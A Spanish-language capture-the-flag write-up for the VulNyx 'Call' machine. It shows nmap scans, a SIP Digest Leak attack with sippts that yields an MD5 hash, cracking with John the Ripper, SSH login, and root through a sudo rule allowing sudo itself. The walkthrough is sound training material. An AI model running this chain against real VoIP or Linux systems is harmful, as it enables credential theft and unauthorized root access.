VulNyx - Call

logo

  • SIP Digest Leak - (sippts.py)
  • Brute Force Hash MD5 - (John)
  • Abusing Su Binary - (Sudo/Privesc)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.32 -oG ports

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 22,80 172.0.100.32 -oN servicios

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.61 ((Debian))
|_http-title: CallMe
|_http-server-header: Apache/2.4.61 (Debian)

HTTP TCP - 80

http

Escaneo de puertos UDP

❯ nmap -sU --top-ports 100 -v 172.0.100.32

PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
5060/udp open|filtered sip

Busco sip 5060 en Hacktricks.

hacktricks

Después de leer información básica sobre como enumerar y atacar el protocolo VoIP descargo e instalo sippts. Sippts es una herramienta creada por el Sr Pepelux para auditar servidores y dispositivos VoIP que utilicen el protocolo SIP. Para instalar la herramienta he seguido los pasos del repositorio.

installSippts

Con el comando scan y la flag -i realizo un escaneo rápido al protocolo SIP.

sippts_scan

Con enumerate enumero los métodos disponibles del servidor SIP.

sippts_enum

En la ayuda de la herramienta veo el comando leak el cual me llama la atención.

leak   Exploit SIP Digest Leak vulnerability

Busco en internet SIP Digest Leak vulnerability y me encuentro con esta web donde explica de que se trata esta vulnerabilidad la cual puedo explotar con el comando leak. Finalmente obtengo un nombre de usuario llamado phone y una contraseña cifrada en MD5.

sippts_leak

Con JohnTheRipper obtengo la contraseña.

❯ john password_MD5 --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
t********        (?)

Me conecto al sistema.

❯ ssh phone@172.0.100.32
phone@172.0.100.32's password: 
phone@call:~$ id
uid=1000(phone) gid=1000(phone) grupos=1000(phone)

Enumero permisos de sudo.

phone@call:~$ sudo -l
Matching Defaults entries for phone on call:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User phone may run the following commands on call:
    (root) NOPASSWD: /usr/bin/sudo

Obtengo el root de la siguiente forma.

phone@call:~$ sudo /usr/bin/sudo su
root@call:/home/phone# id
uid=0(root) gid=0(root) grupos=0(root)

Y aquí termina la máquina Call.

Saludos!